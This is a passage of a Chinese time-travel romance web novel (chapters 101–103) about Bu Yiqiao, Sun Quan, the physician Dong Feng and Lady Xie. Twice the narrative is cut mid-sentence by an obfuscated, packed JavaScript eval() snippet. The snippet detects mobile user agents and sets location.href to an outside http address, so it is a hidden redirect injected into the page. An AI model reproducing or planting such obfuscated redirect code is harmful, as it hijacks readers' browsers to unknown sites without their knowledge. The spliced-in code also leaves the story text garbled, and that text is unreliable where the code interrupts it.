“我二人的事,神医以什么身份来管?” “凭我更早认识她,凭我比你更能照顾好她,凭你什么也给不了她。” 挣扎的步一乔突然忘了挣扎,孙权的眉头蹙得更厉害,两个人都愣住了。 “更早?”孙权嗤笑,“神医是否哪儿弄错了?我七岁时,便认识五岁的一乔。你如何能比我更早?” “五岁啊,那没错了,我确实比你早。若我不曾离开她,二公子觉得,还轮得到你吗?” 步一乔感到孙权胸腔深处传来一声震动。 “荒谬。你以为编造这样的谎言——” “二公子可曾真正了解过她?”董奉打断他,“家中兄弟姐妹几人?父母作何营生?祖籍故里何在?这些,你都清楚么?” 孙权没有立刻反驳。他箍在她腰间的手,几不可察地松了一瞬。 步一乔趁机从孙权肩上跳下来,转身望向与前些日子判若两人的董奉。 “这么说……你清楚?” 董奉的回答却奇奇怪怪。 “你希望我回答‘清楚’,还是‘不清楚’?” 清楚,狠狠给了孙权的一击;不清楚,她便永远触不到葬在那句“更早”背后的秘密。 有什么万全之计吗? 步一乔的目光在两人之间流转片刻,最终撑开孙权的手掌扣紧。 掌心相贴,温热传递。 “这些事,往后余生我慢慢说给他听。所以医仙,你究竟是如何知晓的?” 拨云见日,方才藏在云后的日光落在牵手的两人身上,阴云笼罩在孤身一人的上空。 董奉看着她与孙权相握的手,静立片刻,忽而轻轻笑了笑,迈开脚步,走到两人跟前,抬手强行分开两人的手,学着孙权的动作将人推开,手臂一揽,将步一乔圈入怀中。 “孙仲谋,放弃她吧。你有你的步练师,何必强留不属于你的人。你属于这乱世,给不了她安定。而我,” 他顿了顿,低头看向怀中怔然的女子。 “而我,从她五岁生辰那天起,便没想过要放手。” 101. 抉择 【某个高烧夜】 董奉担心步一乔夜里烧糊涂,每隔一段时辰便去瞅瞅。 被窝里的人嘴巴微张,鼻子堵塞,一副痛苦的样子。 “医仙……我是不是要死了……” “感冒是不会死人的。” “感冒……会的……咳咳咳。” “想喝热水吗?” “你说……孙权去庐江,会遇见步练师吗……” “步练师?那是谁?” “一个……孙权宠爱了一辈子的女人……” 董奉安静了片刻,才道:“那你呢?” 步一乔抽了抽鼻子,嗓子干哑得厉害:“对啊……我是什么?除了破坏,我一无是处……咳咳咳……” “好了好了,别说话了,我去帮你烧点热水。” 董奉起身,又回头。被窝里的人阖着眼,憔悴得不成样。 “现处庐江的步姑娘吗……那你,又从何而来?” * 【此刻】 董奉低头看向怀中怔然的女子,对孙权的怒视熟视无睹,牵着步一乔的手径直进屋,将他眼中的不速之客锁在门外。 “医仙你这是——” “我不会对你做什么,只是想和你单独谈谈。” “谈……嗯,谈。所以,五岁生辰?你……” 步一乔突然无法组织言语,在她童年记忆中,可没有一个叫董奉的人。 若光说董姓……倒是有这么一位。 幼时巷口那家早点铺,店主似乎姓董。铺中除了一位年长她不少的大儿子,本还有个小儿子,与她同龄,可出生没几日就莫名被人抱走,从此杳无音信。 难不成是那位? 有了小乔甘宁等人的先例,步一乔如今再遇什么穿越而来的人,早已不会惊诧了。 “我跟他只认识不到三个月,况且未互通姓名,你怎么可能认得出我?” 而且董奉所说的忍冬之事,她可一点记忆都没有。 “你姓步。” “是……” “父亲是教书先生。” “是……” “家中独女。” “是……” 步一乔愈发觉得离谱。 “可你怎么知道我……是我?” “在庐江偶然听闻你的事,便远远地望了眼,记住了你长大的模样。” “然后在吴郡街上碰见我时,你已经认得我了?” “初遇匆忙,未曾当场想起。归去后细细思量,才恍然惊觉。本想去寻你,未料次日,又在街角重逢。” “于是你便将神药之事告知于我?” “是你,我毫无保留。” 董奉突然牵住步一乔的手,吓得她想赶紧挣脱,却怎么也挣脱不了。 “我不会欺你,不会算计你,不会为家族权位另娶旁人,更不会抛下你,眼睁睁看你独自承受伤害。” 句句真诚,句句暗指某某。 “你也说了,相比乱世,更向往安宁。何不留在我身边,我予你想要的一切。” 孙权代表乱世,是躲不过的烽烟与劫数。 而董奉身后是与一扇将风雨关在外的门扉。 步一乔沉思许久,从董奉手中抽回手。 “医仙可否先答我几问?” “请问。” “你……死过吗?” “曾重病濒死,是师父救回。” “此生一直在此处……在大汉?” “是。” “你确定在庐江所见女子,与我容貌极似?那是何时?” “九分相似。两年前。去年再去,知你已随母迁至江东,我便跟来了。” “你知我姓步,但不知名,对吗?” “……是。” 很好,线索明了。如今,唯有一事不得其解。 不过她打算暂放一旁。 步一乔笑了笑,拍拍董奉的臂膀,转身开门。 门外,孙权将口堵在胸中的浊气缓缓吐出。 他清楚她从来不是需要被护在谁身后的女子。她是能在棋盘边与他执子对弈,甚至偶尔敢偷换他棋子的人。 所以,他等。听着屋内的交谈,捏碎拳头,也等。 直到门扉轻响。 直到她清亮的目光落在他脸上,甚至带着狡黠。 “这谁呀?怎么气得像只鼓了腮的蛙?” 步一乔指尖戳了戳他绷紧的手臂,孙权捉住她作乱的手指,自然地握在掌心轻咬。 “等你解释。” 短短四字,重若千钧。不是质问,而是将裁决的权力,亲手递还到她掌中。 他知道,她自有她的道理。 “都是误会。而且,我已知道医仙真正要找的人,是谁了。” 步一乔回头望向董奉。 放眼这汉末乱世,与她容貌十之八九相似的,只有一人。 “医仙不是淮阴人?莫非在淮阴长大?” “生于会稽侯官,周岁后随师父迁居淮阴。” “原来如此。”她眉眼舒展,侧身让开,“二公子远道而来,也该歇口气了。医仙不会介意吧?” 董奉下颌微紧,并未看孙权,目光仍落在步一乔身上。 “……请。” 孙权迈入屋内,随二人走到案边,径自于步一乔身侧坐下。董奉静默片刻,在对面落座。 “医仙记忆里的那个人,不是我。是步练师。” 董奉惊愕,孙权瞬间明了,面上也缓和些。 “难怪医仙不曾过问我名字。我的确姓步,父亲确实为教书先生,家中独女,但,我叫步一乔。抱歉,我不是她。” 她本不必说这句抱歉。她本想堂堂正正告诉所有人:她是步一乔,与步练师一点不像。 可董奉眼中的惊痛,让她终究没能那样坦然。 “你认识她?” “只是我认得她,她……暂且不知有我。” “带我去见她。” “可以。但你不能与她结缘。” “为何?” 步一乔默然瞥向身旁的孙权。 “在回答这个问题,我还有一事需问医仙。您可还记得,与我初见是何年何月之事?” 董奉沉吟片刻:“冬日。” “哪一年的冬日?” 这次,董奉沉默了许久。 或许心中早有答案,却终究无法说出口。 毕竟,那是尚未到来的时间。 “医仙还记得刚才我为何问你是否经历过死亡吗?若有,那你此刻心中的答案便是正确的。” 董奉怔然抬眼。 “所以医仙请务必好好想想。您当真不曾经历过吗?或曾抵达过……与死亡相接的某个地方?” “你想说什么?有,或没有,又如何?” “如果有——” “认错人又如何?经历过死亡又如何?你尚未回答我的问题。”董奉忽地打断她。 步一乔一怔:“……什么问题?” “是留在我身边,还是跟他走。是选择乱世,还是安定,活下去。” 孙权眼锋一锐:“医仙这是——” “我问的不是二公子。二公子是知礼之人,还请勿要打断。” 董奉仍未看他,只盯着步一乔。 步一乔没有立即开口。她先是侧过头,望向孙权。他也正凝视着她,眉间蹙着未散的凛意,却又在眼神交会时,对她点了点头。 那意思是:你说,我听,我信你。 她心头一暖,再转向董奉时,神情已是一片澄明。 “我并非步练师,即便我留在你身边,你看到的也永远是她,不是我。” “我能分清。” “可你找的人是她。” “但你说我不可与她结缘。因为——” 董奉的眼睛终于看向孙权。仅停留两秒,又看回步一乔。 “抛弃他吧,他不值得你出生入死。” 步一乔闻言,没忍住笑了。 “医仙说话向来直白。不过,医仙错了。孙权他从未将我置于身后,也从未要我为他‘出生入死’。我们要走的,是并肩的路。” 屋内一时寂然。 良久,董奉低低开口:“所以……你的答案,是选他。” “不,我是在选自己的道。而这条道上,有他同行。他不会弃我于半途,我亦不会离他于末路。” “你会后悔的。” “我不会。” “你会的。” 董奉不再争,转身走到药柜前,取下那只药瓶,走回步一乔面前,放入她掌心。 “我即将离开吴郡,继续游方行医。这些时日的药,务必按时服用,照顾好自己,等我回来。” 步一乔握着犹带他掌心余温的瓷瓶,抬眼欲言。 “医仙你——” “你先出去片刻吧,我有几句话,需单独与二公子一谈。” 步一乔怔愣时,孙权已站起身,朝她颔首。 “去吧,在院中等我片刻。” * 屋内只剩两人。 董奉先开了口:“二公子可知,我为何一定要支开她?” 孙权缓步走至窗边,望向窗外院中那道背影,道:“医仙有话,不便让她听见。” “是。”董奉走至他身侧,与他并肩望向窗外,“她又怀有身孕了。” 孙权倏然转头看向董奉:“……当真?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984948|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“脉象虽浅,却已成形。只是她体质特殊,此前又历滑胎、耗损,胎息甚弱,需静养安神,切忌忧思惊扰。” 窗外,步一乔正低头盯着药瓶发呆。孙权望着她,眼中只剩疼惜。 “多久了?” “不足两月。听闻此前滑胎,是她自己所为?” “……是。” “二公子为何不制止?” “我根本无法制止。她执意的事,任谁都无法阻止。” 董奉沉默了片刻。 “这一胎,若再有不测,她此生恐怕再难有孕。” 孙权背在身后的手倏然攥紧。 “我知道。” “不止如此。她脉象虚浮,神气有亏。若继续置身于权力倾轧、战事频仍之地,纵使此胎能保,她的身子也撑不了太久。” 孙权猛地抬眼,眼底血丝隐现。 “医仙究竟想说什么?” 董奉迎着他的视线,一字一句道:“放她走,你护不住她。” 窗外恰有风过,拂动步一乔鬓边的碎发。她似有所觉,抬头望向窗内,却只见两道相对而立的身影,听不见任何声音。 “让她随我离开吴郡,去一处清静之地安心养胎、调理身子。你既爱重她,便不该将她拘在这烽火权谋之中。” 孙权忽然笑了:“医仙是以什么身份说这番话?医者,还是——” 董奉毅然打断道:“对,医者。我是唯一能救她的人。而你,给不了她名分。纵使给了,也不过是将她拖入另一重炼狱,教她活得更累、更苦。” 孙权脸上的笑意彻底消失,瞳孔深处有什么碎裂开来。 “她的身子,远比表面看到的更虚弱。究竟是受过何种磋磨,才会亏损至此?” 董奉看着他,等待一个答案。 孙权默然。他比谁都清楚,那是穿越时空反反复复的代价。自那次她在院中昏厥,险些长睡不醒之后,一切早有征兆。 或许,董奉是对的。 董奉却又忽然转开了视线,望向窗外那道身影苦笑。 “不过话又说回来,她不会随我走的。她只会选你。这些时日你不在,她过得煎熬,未曾有一夜安眠。看得出来,她这一生,是死心塌地要跟着你了。” 孙权望着窗外之人,欣喜是有的,却笑不出来。 “医仙说得对,我给不了她寻常女子的安稳,也给不了远离纷争的净土。但这乱世之中,谁又真能独善其身?与其将她托付旁人,不如由我亲自护着。纵使前路是刀山火海,我也为她踏出一条道来。” 哪怕那意味着,首先要踏过的,是反抗母亲,让她回到自己身边。 “我是她在这世间唯一的倚靠。而她,亦是我一步一脚印,坚持到最后的理由。” 坚持走完后世史书中,孙仲谋所走的每一步路。 * 身后之门敞开,步一乔起身看着孙权走出,探着头往里望了望。 “医仙呢?” “在写药方子。带回去,我监督你每日按时服药。” 步一乔轻蹙眉头:“还喝啊……我都快喝吐了……” 董奉恰好执笺走出,闻言温声道:“若想身子康健,一日也不可懈怠。我冬日前会返回吴郡,届时若脉象转好,再议停药之事。” “医仙往年不都是春季回来,留月余便走?” “计划有变。往后我每半年回来一次,以免有人护你不周。” 董奉视线扫过孙权,复又敛眸。 孙权亦只作未闻,垂眸替步一乔拢了拢被风吹散的鬓发,顺势牵住她的手。 “好了,回家吧,跟医仙道别吧。” “嗯,医仙再见!”步一乔乖乖点头,忽又眨了眨眼,“等等……这怎么像是幼儿园门口接小朋友回家的场面?” 孙权唇角微扬,牵着她转身:“你可不就是还没长大么。” “孙仲谋!我现在年纪比你大!是姐姐!” “是是是,一乔姐姐。想好回去见到母亲该怎么说吗?” “……没有。这次我不开口了!你来说!” “可弟弟年纪尚小,姐姐年长些,定是聪明些,姐姐想想办法?” “不许这时候推卸责任!你、你可比我大一千多岁呢!你来想!” 孙权低笑出声,利落翻身上马,随即伸手将她带至身前坐好。他手臂环过她腰际,声音贴近耳畔。 “求人办事,是否该有所表示?” 步一乔在他怀中坐稳,脸颊绯红,思忖片刻,忽地转过头,飞快在他唇上轻啄一下。 “夫……夫君,这次全靠你了。” 孙权笑意更深,收拢手臂将她搂紧,策马融入山色。 “夫人便放心交于我吧。” 102. 瓮 身后医馆门前,董奉静立风中,手中药笺被晚风卷起一角,又轻轻落下。 “看不下去……” 马上的两人刚要启程,闻声立马回头。 “医仙方才说什么?我没听清。” 步一乔刚歪过头想去看董奉,便被孙权伸手托住脸转了回来。 “没什么。”孙权将她往怀中拢了拢,“医仙只是嘱咐,路上风大,坐稳些。” 说罢,他抬眸看向门前那道青衫身影。 董奉无奈地摇了摇头。 “小孩儿终究是小孩儿,半点沉不住气。罢了,在此等我片刻。” 不多时,董奉牵着自己的马从院后转出,与二人并行。 “就凭你二人的‘聪明才智’,打算如何说服吴夫人?” 步一乔眨了眨眼:“医仙这话我怎么听上去不像在夸人呢?” 孙权一手护着她的小腹,看向董奉:“医仙既有此问,想必已有计谋?” “吴夫人所虑者,无非家声、子嗣、前程。二公子诚恳表个态,保证与谢夫人恩爱共处。若吴夫人实在不肯让步,便将方才你我商谈之事,告知于她。” 孙权颔首:“明白。” 步一乔的目光在两人之间转了转,忽然开口:“虽然只是我的猜测……你二人,先前便认识?” 董奉与孙权对视一眼,同时答道:“嗯。” 步一乔眼睛微睁:“嗯?!那你……岂不是骗了朱然?!” “何来‘骗’字一说?”孙权挑眉。 “你明明对朱然说寻不到神医啊!” “禾清的事,只有义封不知情。早在两年前,我便带医仙诊过她的病。是她自己恳求我们,莫要将实情告知义封。” 山风掠过杏林,吹起她鬓边碎发。步一乔望着孙权沉静的侧脸,又看向董奉默然的神情,忽然明白了什么。 “所以禾清夫人她……从一开始就知道自己的病无法医治……” “是。”董奉接口,“她求我们瞒着朱然,是不愿他日日活在担忧与无望之中。” 步一乔沉默片刻,低声问:“那朱然还在四处求医,甚至推辞伯符给的差事……” “是禾清自己的意思。她说,至少让义封觉得……他尽力了。”孙权覆在她小腹的手下意识揉揉,“也趁着义封不在的期间,做另一件事。” “何事?” “为他挑选妾室。禾清自知时日无多,不忍义封将来孤身一人。便四处留意合适女子,待她……之后,能有人继续照顾义封。” 步一乔只觉得喉间发紧,半晌才轻轻问道:“……朱然知道吗?” 孙权摇头:“他若知道,断不会答应。倘若知道禾清无法医治,义封恐怕……所以她才要趁着离开前,为他再寻一个归处。” 从总角相识,到结发同心。 有些事,或许本就无法以常理计。 有些人,终究要在失去之前,先让她在心底没那么重要。 步一乔不再追问,只是更紧地依偎进孙权怀里,想要从他体温中汲取一些力量,来抵挡这世间无处不在的别离。 孙权揽紧她,下巴轻抵在她发顶。 “不必害怕。我会一直陪着你。谁都不会先离开谁。” “嗯。一言为定。” * 【吴郡,孙府】 吴夫人端坐堂上,冷呵:“你还敢回来?阿舒呢?” 步一乔垂首,道:“阿舒已随心爱之人远游天涯。奴婢感念二公子救命之恩,不忍离去。” 吴夫人又是冷笑:“一月不见,口齿倒是愈发伶俐了。甚至还带了位……” 她视线转向一旁的董奉。 “这位是?” 董奉躬身一礼:“见过老夫人。在下董奉,四方行医之人。” “董奉?!”吴夫人骤然起身,面色惊愕,“你是……当年寄信之人?” “年少替家师代笔,故留了自己的姓名。可惜老夫人疑心过重,未曾信过信中之言。” “他在哪儿!”吴夫人向前一步,声音微颤。 堂中众人唯有步一乔一脸茫然,看到孙权那张淡然的脸,真想一脚踹上去。 这男人又有事儿瞒着自己! “砚山。”董奉迎上吴夫人的目光,“但老夫人不必去寻。八年光阴,他早已将前尘旧事,尽数放下。” 吴夫人跌坐回席,久久没能从中缓过神来。 步一乔却敏锐地捕捉到董奉话中关键。 “砚山……八年……他……” 她倏然睁大双眼,猛地转向孙权。 孙权缓缓闭目,无声地证实了她的猜测。 步一乔倒抽一口凉气,压低声音却难掩震惊: “……孙坚将军,还活着?!” 孙权看着震惊不亚于母亲的步一乔,轻轻拉过她的手,上前一步。 趁热打铁,就得现在。 “母亲要我做的,孩儿都做到了。也恳请母亲,许我留下一乔。” 吴夫人缓缓抬眼,半晌,扯了扯嘴角,笑里满是疲惫与讥诮。 “好……好一个‘皆已做到’。那你告诉我,你父亲既然活着,为何八年不归?为何要借他人之口,传这云遮雾绕的消息?” 孙权沉默片刻:“父亲自有他的考量。或许……这乱世之中,‘已死’之身,反比‘活着’更易行事。” “行事?”吴夫人猛地拍案,“行什么事?是弃家忘妻之事,还是争权逐利之事!” “母亲!”孙权声音微抬,又强自压下,“父亲当年重伤濒死,是董奉之师所救。隐居砚山,安然度世,放下一切,不是很好吗?” “放下?” 吴夫人眼眶骤然红了,却又硬生生将泪意逼回。 “他说放下便放下?这孙家上下,这江东基业,还有我……他说放就能放么!我费死费力为了家,为了他留下的一切……他有什么资格放下!” 步一乔站在孙权身侧,能清晰感受到他掌心传来的紧绷。她悄然反握住他的手,指尖按了按他虎口。 正与上前,却被人抢先一步。 董奉此时上前半步,躬身道:“老夫人,家师当年救下孙将军时,他经脉俱损,记忆混沌。这八年虽渐渐康复,但前尘往事,于他而言已如隔世之梦。非不愿归,实乃……归途已忘。” 吴夫人浑身一震,难以置信地望向董奉:“你是说……他全忘了?” “是。故人、旧事,乃至昔日抱负,皆已模糊。如今的他,只是砚山一名寻常的采药人。” 长久的死寂。 吴夫人缓缓靠回椅背,闭上双眼,肩头微微颤抖。再睁眼时,凌厉已褪去大半,只剩一片苍凉的茫然。 “……也罢。他既已选择‘死’,那便当他……真的死了罢。反正这八年,于我心中,他早已死了……” 吴夫人转目看向孙权。步一乔在她目光扫来前,悄然抽回了手。 “至于你,一乔,既执意要留,我便不再拦你。贴身侍女是不要你做的,去膳房帮祁姨吧。记住,我给你逃走的机会,是你自己回来的。他日若生悔意,莫怪今日无人提醒。” 步一乔抬首,目光清亮:“此生不悔。” 吴夫人深深看了她一眼,终是挥了挥手:“……都退下吧。我累了。” “母亲需要孩儿陪您一会儿吗?” “不必,你也出去吧。” * 三人行礼退出。 暮色染上,步一乔刚松一口气,孙权忽又握住她的手。 “方才的话,你都听清了?”他低声问。 “听清了。”步一乔转头看他,“你早知道父亲的事?” “五年前,董奉代师传信,我是第一个读信的人。母亲不信,我也心生怀疑,便瞒着所有人,去了砚山” “你见到他了?” “见到了……也唤了他‘父亲’。” 结果呢……可想而知。父亲看自己的眼神,是陌生的。 步一乔回牵的手紧了几分,“平安健康就好,不是吗。” 孙权唇角微动,尚未开口,却见董奉停步转身。 “二公子,今日之言,皆出肺腑。令尊之事既已说开,她也顺利留下,在下也该告辞了。” “医仙这就走了?”步一乔一怔。 “原计划便是明日启程。药方已留给府上医官,二公子手中也有一份,务必按时服用。每半年,我会回来为你诊脉,照顾好自己。” 步一乔眼眶微热,郑重一礼:“多谢医仙。” “当然,若是身子差的不行,我会强行把你带走的。” 董奉说罢还礼,又向蹙眉更深的孙权颔首,随即转身,融入院外暮色之中。 待他走远,步一乔才撞了下孙权手臂:“你呀,到底还有多少事瞒着我?” 孙权侧目看她,浅笑道:“挺多的,一天一夜,恐怕也说不完。” “我就知道!老实交代!” “好啊,那今夜,可要与我同榻?” “不敢。” “怕什么?不是有你我在前头挡着么?” 步一乔仰头望他,忽然踮脚,在他唇角飞快一吻。 “这可是你说。出啥事,你可得挡在我身前啊。” 孙权怔了怔,随即低笑出声,展臂将她揽入怀中。 “嗯,我说的。” 紧贴在孙权怀中,步一乔越过他的肩膀望向不远处,半个身子隐匿在墙角的谢夫人。 二人视线无声相触。步一乔不动声色地转回脸,将脸颊贴在孙权襟前。 孙权没有动,只将掌心贴在她后颈,指节没入她发间。几乎是习惯般地,指腹稍稍施力,引着她仰起脸来,方便自己吻上去。 “孙仲谋!你又扯我头发!” “近日骑马腰疼得厉害,只好委屈你仰些头。” “你是不是说我矮?” “方才有提到这个字吗?” “哼。” 她鼓起腮,却被他带笑的叹息圈回怀里,额头、眉心、眼睫,他吻得细密绵长。 这一切,皆被谢夫人眼睛都不眨一下地看在眼里。 “起风了,公子回屋吧。” “方才偷亲的胆量去哪儿了?如今倒知道怕冷。” “不是怕冷,是有些事待去处理。你也接连奔波几日,去歇息吧。” 步一乔从他怀里轻挣出来,孙权仍握着她的手,舍不得放开。 “那今夜……” “吴夫人不是不许你往后在书房过夜吗?去庐江待了大半个月,忘了?” “……对。此事,还未与你交代。” 孙权忽然后退了半步,侧过脸去。步一乔正觉诧异,欲言却被一道含笑的嗓音截断。 “仲谋!” 谢夫人自后方走来,眉眼盈着明晃晃的笑意,极自然地挽上孙权手臂。她先仰头对他莞尔一笑,才仿佛刚看见步一乔似地转过脸。 “一乔姑娘!一月不见,近来可好?” “谢夫人挂怀,一切都好。倒是没想到,一月不见,夫人与二公子……亲近了许多。” 谢夫人又往孙权身侧靠了靠,嗓音温软:“是呀,还得多谢姑娘先前那番话。如今我夫妻二人,倒真称得上‘爱幸有宠’了。” 她说着,晃了晃孙权的臂弯,似要他也应和一句。孙权垂眸看她一眼,未动,却轻巧地应了声。 步一乔也眉开眼笑,道:“嗯!奴婢早就说夫人与公子般配登对,定会恩爱。” 孙权没看她,神游天外,将这方寸之地全然交予了两位姑娘。 谢夫人笑意更深:“仲谋前日去了庐江,母亲次日便安排我前去。这一月,我二人在庐江也算也算朝夕相伴,形影不离。庐江风物甚好,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16988208|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是仲谋总是忙到深夜……我便常备着羹汤在书房外候着。” 步一乔静静听着,脸上笑意未变,只轻轻点头:“夫人贤淑体贴,公子好福气。” “说来也巧,昨日回府途中,仲谋还说起,待忙过这阵,要陪我去城外别苑小住几日。如此一来,来年开春……或许便能迎个孩儿了。” 她说着,侧首望向孙权:“对吧,仲谋?” 孙权目光仍落在远处,只“嗯”了一声,听不出情绪。 见他如此冷淡,谢夫人也如浇了盆冷水,面上的笑僵硬了几分。 步一乔精准捕捉到这一瞬的失落。 “二公子,恕奴婢多言。谢夫人如此欢喜,您也该多展欢颜才是。毕竟是您二位第一个孩子,总该圆圆满满、高高兴兴地迎他才是。” 谢夫人怔住了。她明明在出言相激,步一乔为何反倒……帮起自己来了? 孙权的神游总算被拉回来,他转过脸,朝谢夫人露出温和一笑。笑意虽浅,却比方才那声“嗯”多了几分真切。 “谢氏说得对。晚膳时辰快到了,我们一同过去吧。” 说完,他转身就走。若不是步一乔唤他一声“二公子”,挑眉示意仍立在原地的谢夫人,他险些就这般独自走了。 “是我疏忽了。抱歉。” 孙权走回谢夫人身侧,这次主动伸出手臂。 谢夫人怔怔将手搭上他臂弯。他并未多言,只带着她沿廊徐行。走出几步,却忽然侧首,朝身后那人抛去一句: “一乔,去将书房收拾一番。一月未用,想必积了不少尘。明日会稽送来的书卷,也需你一并码放齐整。” “公子今晚……是要去书房么?”步一乔故意反问。 孙权答得干脆:“不去。但不可因我不去,你便懈怠。既选择留下,便做好你该做的。” 步一乔欠身道:“公子放心,奴婢明白。” 孙权不再回头,收拢手臂将谢夫人带近了些离开。 * 【入夜,书房】 烛火微摇,步一乔正俯身擦拭书案,门外忽起轻响。她抬眼,见谢夫人独自立于门边,衣袂曳地,神色难辨。 “谢夫人?”步一乔直起身,“这么晚了,您怎么还未歇息?” 谢夫人未答,目光先往室内一扫,确认再无第三人,才缓步踏入,反手虚掩了门。 “你为何回来?” 步一乔放下手中软布,迎上她的视线:“夫人也看到了,奴婢舍不得二公子。” 谢夫人眼底掠过一丝冷意,未再追问,反从怀中取出一方绣帕。素白底子,角上绣着几瓣浅绯桃夭,针脚细密,尾针仓促,正是小乔相赠的那方。 “我的绣帕!” “果然是你的!说,是不是仲谋赠你的定情之物?” “不是二公子。” “那是谁!” “是……我的好姐妹。” “你明明是孤身逃难至吴郡,举目无亲,哪来的姐妹?” “没有血缘,却情投意合的姐妹。”步一乔伸出手,目光落在那方帕上,“请夫人还给我。” 谢夫人却将绣帕攥得更紧,唇角勾起似讽似嘲的弧度。 “情投意合的姐妹?你可知,这帕子的丝线是荆州特产,染料乃江东少见。寻常百姓,莫说用,便是见也未必见过!” 步一乔神色未变,只静静看着她。 “你说你孤苦无依,身如飘萍,可这样一方帕子,却轻易落入你手。你那‘姐妹’,怕不是寻常人吧?” “夫人到底想说什么?” 步一乔就这么看着她,谢夫人忽然抬手,将绣帕悬在烛焰上方寸之处。 “我想知道,你究竟是谁,留在仲谋身边,又究竟图谋什么。若有一句虚言,这帕子,连同你那‘姐妹’的秘密,今夜便一同化为灰烬。” 热意已隐隐灼上丝线,焦味在空气中弥散开来。 “住手!” 步一乔欺身上前,一把将帕子夺回。指尖擦过烛焰,带起细微的灼痛。所幸帕子只熏了道浅痕,未曾烧着。 “你敢明抢?!”谢夫人怒意骤起。 步一乔将帕子紧握在手心,背到身后,道:“抱歉夫人。但这绣帕对我至关重要,还请夫人不要咄咄逼人。” “咄咄相逼?”谢夫人气极反笑,“你当着我的面吻仲谋的时候,怎么没想到‘相逼’二字?他句句听你的,处处护着你,心思为你所牵,到底为什么?!” 她声音陡然拔高,眼眶发红。 步一乔神色却沉静下来。 “夫人嫁入孙氏之前,难道不知男人皆可三妻四妾么?妻可能成妾,妾也可能……沦落到连侍婢都不如。这是男人说了算的世道,你我算什么?不过是他一时兴起、可供赏玩的过客罢了。” “闭嘴!不许给我提‘欢愉’一词!我心悦的是仲谋此人,与他……与他那个无关!” 步一乔微怔,“那个?哪个?” 谢夫人苦笑:“你与仲谋夜夜在此书房独处,怎会不知?” 步一乔是当真不知。 “那你二人为何夜夜在此?!”谢夫人逼问。 “我们……”步一乔的思绪从未转得如此之快,“二公子白日里军政劳形,心绪积压,我在此替他推拿穴道,舒经活血,仅此而已。” “只是如此?”谢夫人狐疑地盯着她,似在分辨话中真假。 “只是如此。所以夫人说的,‘那个’?到底是什么?” 谢夫人默然片刻,大约是瞧出她眼中确无作伪的痕迹,才转过身望着另一方。 “仲谋他……其实不能人事。” “啊……”步一乔恍然,随即又猛地顿住,“……啊?不能人事……是奴婢理解的那个意思吗?” “对!正是你理解的那个意思!” “啊?!二公子……不举?!” 103. 瘾 不举,在现代医学疾病症状中,为某功能障碍。 但这词在东汉末年是另一层意思,所以谢夫人见步一乔分明听懂了自己的意思,却偏说出“不举”这毫不相干的词,更是焦灼。 “你到底是聪明还是愚笨?!就是……就是……闺房之中,不能……不能成事的意思啊!” “我知道……就是……那个嘛。可是……夫人是何处得来这般说法?” 步一乔不敢竟流露出一丝哭笑不得的荒唐,只好蹙紧眉头,显得此事很严重的样子。 谢夫人别开脸,无力地往榻上一坐。 “母亲遣我去庐江,名为照料,实则是盼我能早日……有孕。一月有余,他从未碰过我。哪怕不得已同塌而眠,我都……做到那般地步,他仍不肯碰我。” “哪般?” “不许问!” 步一乔闭嘴,眉头蹙得更紧。 仅凭疏远,确不足以论断此疾,应该还有别的原因,且循序渐进打听下去。 “所以夫人今夜来此,是想……” “我想知道他与你夜夜独处,究竟做些什么!” 谢夫人声音陡然尖锐,又强自压抑下去。 “更想知道,他是不是宁可编出这般说辞,也要远着我……” 步一乔这下明白了。原来这“隐疾”之说出自孙权之口。 “所以……是二公子亲口向夫人坦言,说自己……身有此恙?” 谢夫人垂下眼,手指绞着衣带,半晌才极轻地点了下头。是羞愤,更是近乎绝望的难堪。 “那日……在庐江,我实在忍不住,问他是否厌恶我,才这般……避如蛇蝎。他沉默良久,才说……是他自己的缘故,与旁人无干,叫我……不必再费心。” “嗯……” “还说此事关乎体面,莫要让母亲忧心,教我守口如瓶……” “那夫人……为何独独来同我说?” “还不是要逼你坦白!他待你那般不同,与你亲近至此,你定然知晓得比我还多!” 谢夫人眼底泛起泪光,又见自己失了态,气得唉声叹气。 步一乔知道此时说什么都得把笑憋住,做出怜悯的姿态。 “夫人放心,奴婢与公子在此,确实只是推拿调理。公子肩背旧伤常于阴雨天发作,又兼思虑过重,难以安眠。奴婢略通经络之术,仅此而已。” “那绣帕为何在屏风后面?” “许是不小心掉地上,又被风给出进去了吧。” 谢夫人怔怔望着她,但找不出破绽。 “至于公子所言‘隐疾’……”步一乔顿了顿,选择了一个更谨慎的说法,“奴婢从未听闻,更不曾见证。公子待奴婢,从来止乎礼,未有半分逾越。” 谢夫人忽然笑了:“那他为何独独允你近身?为何书房为你而闭,连母亲都拦不住?为何他看你的眼神……” 她哽住,说不下去。 步一乔沉默片刻。 “夫人,您在乎的,究竟是二公子能否行丈夫之责,还是……他心中究竟有没有您?” 谢夫人像被刺中般一颤。 “若公子心中真有您,即便身有微恙,亦会寻医问药,悉心待您。若心中无……” 步一乔没说下去,只将那句残忍的话化在了寂静里。 窗外更漏声隐隐传来。 谢夫人站起身,她看着步一乔,看了很久,最后竟轻轻扯了下嘴角。 “你说得对。我今夜来此,原是想撕破你的脸,证明他骗我……可现在才明白,自欺欺人的,一直是我自己。” 她转身走向门边,步一乔叫住她: “夫人,绣帕。” 谢夫人回头。 步一乔朝她摊开手:“还请夫人将绣帕归还奴婢。” 